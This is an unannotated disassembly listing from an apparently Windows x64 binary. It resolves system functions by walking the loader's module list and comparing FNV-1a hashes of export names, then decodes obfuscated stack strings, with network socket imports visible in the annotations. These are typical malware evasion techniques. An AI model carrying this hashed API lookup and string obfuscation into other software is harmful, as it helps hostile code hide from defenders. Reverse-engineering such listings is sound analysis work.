mov r14d, esi
jmp 0x140139698
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14013968a
jmp 0x1401396ae
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x1401396a1
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401396d1
cmp qword [rax + 0x30], 0
jne 0x1401395a7
xor r10d, r10d
mov qword [0x1403192c0], r10
lea r9, [rbp + 0x20c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x140319e50]
test r8, r8
jne 0x140139856
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140139769
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013975c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013974d
cmp edx, esi
jne 0x140139836
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140139836
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140139836
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401397bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401397b2
cmp edx, r14d
je 0x1401397d3
test r11d, r11d
jne 0x14013979d
jmp 0x140139836
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14013984f
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14013984f
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x140139813
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140139805
jmp 0x140139829
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14013981c
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14013984c
cmp qword [rax + 0x30], 0
jne 0x140139722
xor r8d, r8d
mov qword [0x140319e50], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov ebx, 0x31a98fee
lea rcx, [0x140319798]
call fcn.140164478
xor r12d, r12d
test eax, eax
jne 0x14013b949
mov r12, qword [0x140319e18]
test r12, r12
jne 0x1401399f1
xor esi, esi
mov r14d, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140139900
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401398f2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401398e1
cmp r8d, esi
jne 0x1401399d1
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401399d1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401399d1
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140139954
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140139949
cmp edx, r14d
je 0x14013996a
test r9d, r9d
jne 0x140139934
jmp 0x1401399d1
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, r11
cmp r12, r10
jbe 0x1401399ea
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x1401399ea
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401399ac
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r12
mov al, byte [r12]
cmp al, 0x2e
jne 0x14013999e
jmp 0x1401399c3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r12
mov al, byte [r12]
test al, al
jne 0x1401399b6
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401399e7
cmp qword [rax + 0x30], 0
jne 0x1401398b5
xor r12d, r12d
mov qword [0x140319e18], r12
mov byte [rbp + 0xc0], Ordinal_30
mov byte [rbp + 0xc1], 0x51
mov byte [rbp + 0xc2], 0xec
mov byte [rbp + 0xc3], 0x53
mov byte [rbp + 0xc4], 0xfa
mov byte [rbp + 0xc5], 0x5d
mov byte [rbp + 0xc6], 0xf3
mov byte [rbp + 0xc7], 0x5f
mov byte [rbp + 0xc8], 0xec
mov byte [rbp + 0xc9], 0x59
mov byte [rbp + 0xca], 0xfb
mov byte [rbp + 0xcb], 0x5b
mov byte [rbp + 0xcc], 0x5a
mov byte [rbp + 0xcd], 0xa5
xor eax, eax
mov dword [rbp + 0xce], eax
mov word [rbp + 0xd2], ax
mov byte [rbp + 0xd4], al
mov r14b, 0x75
mov bl, byte [rsp + 0x40]
call fcn.1400a1a30
mov rdi, qword [rax]
call fcn.1400a1a40
mov r11, qword [rax]
xor r10d, r10d
lea r15d, [r10 + 1]
cmp r10, 0x15
jae 0x14013a3a3
movzx r8d, byte [rbp + r10 + 0xc0]
mov rdx, r8
cmp rdi, r10
ja 0x14013a39a
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140139ad0
movabs rcx, 0x16e483ae2baeda73
add rcx, r10
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x25
jmp 0x140139afd
je 0x14013a329
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013a2b7
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013a29a
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14013a280
cmp r11, r10
ja 0x14013a391
lea rax, [r11 + 0x10]
cmp rdi, rax
jae 0x140139b25
lea ecx, [r10 + 0x6f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 9
jmp 0x140139b59
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013a248
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013a21e
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013a209
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013a1ef
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140139f28
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x140139f0a
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140139ef0
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140139ed6
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x140139ebb
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140139ea1
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x140139e87
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140139e79
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140139e5f
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140139b66
lea rdi, [r11 + 0x10]
lea r11, [rdi + 5]
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x14013a376
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x14013a35b
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x140139d2d
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140139d12
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x140139cf9
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x140139e47
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140139e2f
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140139e17
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x140139df5
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140139b66
lea rdi, [r11 + 0x41]
lea r11, [rdi + 0x3e8]
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140139dd8
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x140139dc0
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140139db2
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x140139da4
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x140139d8a
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140139d6f
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140139d61
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140139d46
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140139b66
lea rdi, [r11 + 0x20]
lea r11, [rdi + 6]
jmp 0x140139b66
lea ecx, [r10 + 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x17
jmp 0x140139b59
mov cl, r10b
sub cl, r14b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x33
jmp 0x140139afd
lea ecx, [r10 - 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x7d
jmp 0x140139a99
lea edx, [r10 - 0x6e]
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013a295
lea edx, [r10 - 0x54]
mov ecx, Ordinal_41
jmp 0x14013a04e
lea edx, [r10 - 0x3a]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
mov r9b, r10b
jmp 0x14013a1a8
lea ecx, [r10 - 0x20]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14013a233
lea edx, [r10 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14013a028
lea edx, [r10 + 0x14]
mov ecx, Ordinal_60
jmp 0x14013a008
lea edx, [r10 + 0x2e]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
jmp 0x14013a202
lea edx, [r10 + 0x48]
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013a344
lea ecx, [r10 + 9]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3f
mov byte [rbp + r10 + 0xc0], bl
jmp 0x14013a353
lea edx, [r10 + 0x23]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0xb
jmp 0x140139fa6
lea edx, [r10 + 0x3d]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x55
jmp 0x140139f77
lea edx, [r10 + 0x57]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x61
jmp 0x140139f48
lea ecx, [r10 - 0x66]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x14013a344
lea edx, [r10 - 0x32]
mov ecx, Ordinal_50
jmp 0x14013a008
lea ecx, [r10 - 0x18]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x58
jmp 0x14013a236
lea ecx, [r10 + 2]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xe
jmp 0x14013a233
mov r9b, r10b
lea edx, [r9 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013a1a5
lea ecx, [r10 + 0x36]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14013a2af
lea ecx, [r10 + 0x50]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x30
jmp 0x14013a295
lea edx, [r10 + 0x6a]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
mov r9b, r10b
jmp 0x14013a25e
lea rcx, [r11 + 3]
cmp rdi, rcx
jae 0x140139fd3
lea edx, [r10 + 0x73]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x25
add bl, dl
lea rax, [r11 + rdi]
cmp rax, r15
je 0x14013a1cd
lea rax, [r11 + 0x61]
cmp rdi, rax
jbe 0x14013a08a
lea edx, [r10 + 0x67]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x2f
add bl, dl
cmp rdi, 0x42
jae 0x14013a18a
lea rax, [r11 + 0xa]
cmp rdi, rax
jbe 0x14013a11b
lea edx, [r10 - 0x2a]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r11, 2
jb 0x140139e0a
mov r9b, r10b
lea edx, [r9 - 0x2e]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x7c]
jmp 0x14013a260
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140139ff6
lea ecx, [r10 - 0x22]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x12
jmp 0x14013a344
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013a01a
lea edx, [r10 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14013a1e8
cmp rdi, rcx
jne 0x14013a03c
lea edx, [r10 - 0x70]
mov ecx, 8
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013a236
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013a062
lea edx, [r10 + 0x42]
mov ecx, Ordinal_27
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013a2af
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140139f4a
mov r9b, r10b
lea edx, [r9 + 0xe]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x62
jmp 0x14013a25e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013a0ae
mov r9b, r10b
lea edx, [r9 + 0x4d]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1b
jmp 0x14013a25e
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013a0d1
lea ecx, [r10 + 0x33]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x65
jmp 0x14013a295
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013a0f4
lea ecx, [r10 + 0x19]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x51
jmp 0x14013a2af
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140139f79
lea ecx, [r10 - 0x35]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x73
jmp 0x14013a236
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013a13e
lea ecx, [r10 - 0x44]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x14013a344
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013a155
lea edx, [r10 - 0x78]
mov ecx, 0x24
jmp 0x14013a008
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013a16f
mov r9b, r10b
lea edx, [r9 + 0x3a]
mov ecx, gethostname
jmp 0x140139ec7
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140139fa8
lea edx, [r10 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14013a04e
mov r9b, r10b
lea edx, [r9 - 0x48]
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0xc0]
sub bl, al
sub bl, 8
add bl, r8b
add bl, dl
add r9b, 0x2b
mov al, r9b
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x2d
add cl, r9b
add cl, r8b
mov byte [rbp + r10 + 0xc0], cl
jmp 0x14013a233
lea edx, [r10 - 0x62]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r10 + 0xc0]
sub bl, 0x52
add bl, dl
jmp 0x14013a2d4
lea edx, [r10 - 0x61]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x59
add bl, dl
jmp 0x14013a2fb
lea edx, [r10 - 0x47]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xf
jmp 0x14013a1e8
lea ecx, [r10 - 0x13]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013a353
mov r9b, r10b
lea edx, [r9 + 0x55]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x53
add bl, dl
add r9b, 0x45
mov al, r9b
and al, r8b
add al, al
sub r9b, al
add r9b, 0x1d
add r9b, r8b
mov byte [rbp + r10 + 0xc0], r9b
jmp 0x14013a295
lea ecx, [r10 - 0x5d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
add r11, r15
jmp 0x14013a2af
lea ecx, [r10 - 0x43]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2b
sub r10, r15
jmp 0x14013a353
movabs rax, 0xa03f99c331c7f925
add rax, r10
mov r8b, dl
and dl, al
add dl, dl
sub al, dl
lea ebx, [r8 + rax]
sub bl, 3
lea ecx, [r10 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x77
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xc0], al
add r11, r15
add rax, r11
sub r10, rax
lea edx, [r10 - 0x7c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xc0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14013a344
movabs rcx, 0x44ad8b0a830c8f59
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x6f
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r11
add r10, rax
add r10, r15
jmp 0x140139a86
sub r10b, 0x41
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
sub bl, 0x39
jmp 0x140139a7f
sub r10b, 0x27
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
add bl, 0x11
jmp 0x140139a6f
lea rsi, [rbp + 0x17ac604]
jmp 0x14013a3aa
lea rsi, [rbp + 0x129a077]
jmp 0x14013a3aa
lea rsi, [rbp + 0xc0]
mov byte [rsp + 0x70], 0x59
mov byte [rsp + 0x71], r15b
mov byte [rsp + 0x72], Ordinal_143
mov byte [rsp + 0x73], 3
mov byte [rsp + 0x74], 0xba
mov byte [rsp + 0x75], Ordinal_33
mov byte [rsp + 0x76], 0xa3
mov byte [rsp + 0x77], Ordinal_33
mov byte [rsp + 0x78], 0xac
mov byte [rsp + 0x79], Ordinal_27
mov byte [rsp + 0x7a], 0xbb
mov byte [rsp + 0x7b], reloc.WLDAP32.dll_Ordinal_27
mov byte [rsp + 0x7c], 0x7a
mov byte [rsp + 0x7d], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x7e], 0x44
mov byte [rsp + 0x7f], reloc.WS2_32.dll_socket
mov byte [rbp - 0x80], 0xa4
mov byte [rbp - 0x7f], reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x7e], 0xa1
mov byte [rbp - 0x7d], reloc.WS2_32.dll_send
mov byte [rbp - 0x7c], 0x9e
mov byte [rbp - 0x7b], WSAGetLastError
mov byte [rbp - 0x7a], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp - 0x79], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp - 0x78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp - 0x77], 0x69
mov byte [rbp - 0x76], 0xe4
mov byte [rbp - 0x75], 0x6b
mov byte [rbp - 0x74], Ordinal_211
mov byte [rbp - 0x73], 0x65
mov byte [rbp - 0x72], 0xd5
mov byte [rbp - 0x71], 0x67
mov byte [rbp - 0x70], Ordinal_211
mov byte [rbp - 0x6f], 0x61
mov byte [rbp - 0x6e], 0
mov byte [rbp - 0x6d], 0x63
mov byte [rbp - 0x6c], reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x6b], 0x7d
mov byte [rbp - 0x6a], Ordinal_30
mov byte [rbp - 0x69], 0x7f
mov byte [rbp - 0x68], 0xdb
mov byte [rbp - 0x67], 0x79
mov byte [rbp - 0x66], Ordinal_27
mov byte [rbp - 0x65], 0x7b
mov byte [rbp - 0x64], 0x25
mov byte [rbp - 0x63], r14b
mov byte [rbp - 0x62], Ordinal_200
mov byte [rbp - 0x61], 0x77
mov byte [rbp - 0x60], 0xc4
mov byte [rbp - 0x5f], WSAStartup
mov byte [rbp - 0x5e], 0xc1
mov byte [rbp - 0x5d], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x5c], 0xc0
mov byte [rbp - 0x5b], Ordinal_79
mov byte [rbp - 0x5a], Ordinal_46
mov byte [rbp - 0x59], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp - 0x58], reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x57], 0x49
mov byte [rbp - 0x56], 0xfc
mov byte [rbp - 0x55], 0x4b
mov byte [rbp - 0x54], 0xf5
mov byte [rbp - 0x53], 0x45
mov byte [rbp - 0x52], 0xca
mov byte [rbp - 0x51], 0x47
mov byte [rbp - 0x50], 0xe5
mov byte [rbp - 0x4f], 0x41
mov byte [rbp - 0x4e], 0xcc
mov byte [rbp - 0x4d], 0x43
mov byte [rbp - 0x4c], 0xf9
mov byte [rbp - 0x4b], 0x5d
mov byte [rbp - 0x4a], 0xea
mov byte [rbp - 0x49], 0x5f
mov byte [rbp - 0x48], 0xe7
mov byte [rbp - 0x47], 0x59
mov byte [rbp - 0x46], gethostname
mov byte [rbp - 0x45], 0x5b
mov byte [rbp - 0x44], reloc.WS2_32.dll_ntohl
mov byte [rbp - 0x43], 0x55
mov byte [rbp - 0x42], 0xe5
mov byte [rbp - 0x41], 0x57
mov byte [rbp - 0x40], 0xf5
mov byte [rbp - 0x3f], 0x51
mov byte [rbp - 0x3e], 0xec
mov byte [rbp - 0x3d], 0x53
mov byte [rbp - 0x3c], 0xed
mov byte [rbp - 0x3b], 0xad
mov byte [rbp - 0x3a], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp - 0x39], 0xaf
mov byte [rbp - 0x38], 0xce
mov byte [rbp - 0x37], 0xa9
mov byte [rbp - 0x36], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x35], 0xab
mov byte [rbp - 0x34], 0xaa
mov byte [rbp - 0x33], 0xa5
xor eax, eax
mov qword [rbp - 0x32], rax
mov dword [rbp - 0x2a], eax
mov word [rbp - 0x26], ax
mov byte [rbp - 0x24], al
mov dil, byte [rsp + 0x40]
call fcn.1400a1a30
mov rbx, qword [rax]
call fcn.1400a1a40
mov r11, qword [rax]
xor r9d, r9d
cmp r9, 0x6d
jae 0x14013acb9
movzx r8d, byte [rsp + r9 + 0x70]
mov rdx, r8
cmp rbx, r9
ja 0x14013acb0
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x14013a5a2
movabs rcx, 0xa28ae4d73ad2bfab
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x53
jmp 0x14013a5dc
je 0x14013ac5b
lea rax, [r11 + 2]
cmp rbx, rax
je 0x14013ac10
lea rax, [r11 + 5]
cmp rbx, rax
je 0x14013abc6
lea rax, [r11 + 3]
cmp rbx, rax
je 0x14013aba9
lea rax, [r11 + 8]
cmp rbx, rax
je 0x14013ab71
cmp r11, r9
ja 0x14013aca7
lea rax, [r11 + 0x400]
cmp rbx, rax
jae 0x14013a608
lea ecx, [r9 + 7]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x31
jmp 0x14013a656
lea rax, [r11 + 1]
cmp rbx, rax
je 0x14013ab58
lea rax, [r11 + 2]
cmp rbx, rax
je 0x14013ab41
lea rax, [r11 + 4]
cmp rbx, rax
je 0x14013ab24
lea rax, [r11 + 5]
cmp rbx, rax
je 0x14013ab0a
lea rax, [r11 + 6]
cmp rbx, rax
je 0x14013aac5
lea rax, [r11 + 8]
cmp rbx, rax
je 0x14013aaab
lea rax, [rbx + r11]
cmp rax, r9
jbe 0x14013a85d
lea rax, [r11 + 0x400]
cmp rbx, rax
je 0x14013a840
lea rax, [r11 + 3]
cmp rbx, rax
je 0x14013a823
lea rax, [r11 + 0x28]
cmp rbx, rax
je 0x14013a805
lea rbx, [r11 + 4]
lea r11, [rbx + 0x28]
lea rax, [r11 + 4]
cmp rbx, rax
jb 0x14013ac8b
lea rax, [r11 + 0x40]
cmp rbx, rax
jb 0x14013a6ff
lea rax, [r11 + 0x7a]
cmp rbx, rax
jb 0x14013a795
lea rbx, [r11 + 0x42]
lea r11, [rbx + 6]
lea rax, [r11 + 0x42]
cmp rbx, rax
ja 0x14013a777
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x14013a75a
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x14013a73a
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x14013a719
lea rbx, [r11 + 0x5a]
lea r11, [rbx + 0x80]
jmp 0x14013a663
lea ecx, [r9 + 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3b
jmp 0x14013a56a
lea edx, [r9 + 0x38]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov r10b, r9b
jmp 0x14013ab89
lea edx, [r9 + 0x36]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
add dil, dl
mov r10b, r9b
jmp 0x14013abde
lea edx, [r9 - 0x22]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x14013ac30
lea edx, [r9 - 0x78]
mov ecx, 0x24
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013ac77
lea ecx, [r9 - 0x7b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5d
cmp rbx, 0x80
jae 0x14013aa6b
lea rax, [r11 + 9]
cmp rbx, rax
jbe 0x14013aa00
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
cmp r11, 0x10
jb 0x14013aa61
mov r10b, r9b
lea ecx, [r10 + 0x22]
mov al, cl
and al, r8b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14013ab89
lea edx, [r9 - 0x2c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013ac30
mov r10b, r9b
lea ecx, [r10 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14013abde
mov r10b, r9b
lea ecx, [r10 + 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x14013ab89
lea rax, [r11 + 0x61]
cmp rbx, rax
jae 0x14013a8b0
lea ecx, [r9 - 0x55]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x53
lea rax, [rbx + r11]
cmp rax, 6
je 0x14013aa90
lea rax, [r11 + 0x41]
cmp rbx, rax
